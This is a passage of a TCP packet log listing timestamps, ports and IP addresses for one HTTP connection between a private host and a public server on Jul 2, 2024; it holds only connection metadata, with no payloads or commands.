Jul 2, 2024 12:21:04.545108080 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545114040 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.545114040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545120955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545130968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545134068 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.545135975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545147896 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545151949 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.545181990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.545232058 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.545399904 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545406103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545418024 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545423985 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545447111 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.545479059 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.545536041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545542002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545552969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545557976 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545562983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545576096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545579910 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.545582056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545587063 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545592070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545603037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545608044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545609951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.545614004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545620918 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545629978 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.545658112 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.545677900 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.546040058 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.546046019 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.546056986 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.546093941 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.546128988 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.631007910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631027937 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631033897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631130934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631131887 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.631135941 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631143093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631149054 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631155014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631175995 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.631221056 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.631272078 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631376028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631380081 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631391048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631397009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631407022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631412983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631423950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631432056 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.631453037 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.631504059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631546021 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.631604910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631611109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631620884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631627083 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631633043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631648064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631652117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631654024 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.631700039 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.631745100 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.631855011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631860971 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631871939 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631876945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631882906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631895065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.631905079 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.631947041 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.632076979 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.632081032 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.632091045 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.632096052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.632105112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.632110119 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.632114887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.632131100 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.632205009 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.632275105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.632281065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.632318020 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.632324934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.632359028 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.632386923 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.632421017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.632426023 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.632431030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.632436037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.632441044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.632446051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.632451057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.632462025 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.632466078 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.632503986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.702912092 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.707823992 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879443884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879455090 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879475117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879481077 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879492998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879532099 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.879540920 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879547119 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879559040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879565954 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.879610062 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.879642010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879647017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879658937 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879686117 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.879729033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.879776955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879786968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879792929 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879797935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879834890 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.879885912 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.879892111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879898071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879960060 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879965067 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.879977942 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.880000114 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880004883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880017042 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.880048037 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.880074024 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880079985 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880119085 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.880140066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880143881 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880188942 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.880232096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880237103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880248070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880253077 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880259037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880275011 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.880297899 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.880343914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880451918 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880456924 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880479097 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.880492926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880498886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880503893 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880507946 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880508900 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.880513906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880518913 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880523920 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880537033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.880558014 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.880830050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880840063 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880845070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880850077 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880855083 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880866051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880871058 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880881071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.880884886 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.880917072 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.881033897 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.881077051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881125927 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.881195068 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881200075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881211042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881216049 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881232977 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881237984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881243944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881244898 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.881288052 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.881325006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881330013 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881470919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.881478071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881483078 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881488085 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881499052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881504059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881509066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881514072 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881515980 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.881519079 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881525993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881529093 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.881575108 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.881752968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881757975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881762981 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881820917 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.881823063 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881829977 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881840944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881845951 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.881870985 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.881963968 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.882123947 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882335901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882349014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882354021 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882359028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882364035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882369041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882374048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882378101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882383108 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882385015 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.882388115 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882397890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882402897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882407904 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882417917 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882421970 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.882422924 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882433891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882438898 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882442951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.882443905 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882457972 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882462025 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.882499933 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.882499933 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.882961035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882966042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882976055 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.882987022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.883012056 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.883029938 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.883034945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.883044958 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.883049965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.883054972 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.883054972 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.883064985 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.883070946 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.883074045 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.883075953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.883089066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.883095026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.883099079 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.883100986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.883110046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.883121014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.883127928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.883132935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.883136988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.883138895 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.883141994 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.883143902 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.883147955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.883191109 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.883191109 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.968329906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968348980 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968358040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968394995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968400955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968406916 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.968410969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968415976 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968457937 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.968498945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968501091 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.968502998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968556881 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.968564987 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968576908 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968584061 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968610048 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.968647003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968648911 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.968652964 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968663931 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968668938 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968673944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968688965 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.968848944 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.968867064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968872070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968883038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968888044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968893051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968909979 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.968959093 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.968982935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968987942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.968997955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969024897 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.969160080 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969165087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969175100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969180107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969185114 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969191074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969208956 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.969230890 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.969383955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969388008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969393969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969398975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969408989 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969413996 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969427109 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.969464064 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.969552994 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969558954 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969568968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969579935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969585896 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969597101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969599962 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.969609022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969619989 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.969767094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969772100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969782114 CEST	80	49699	85.28.47.4	192.168.2.7
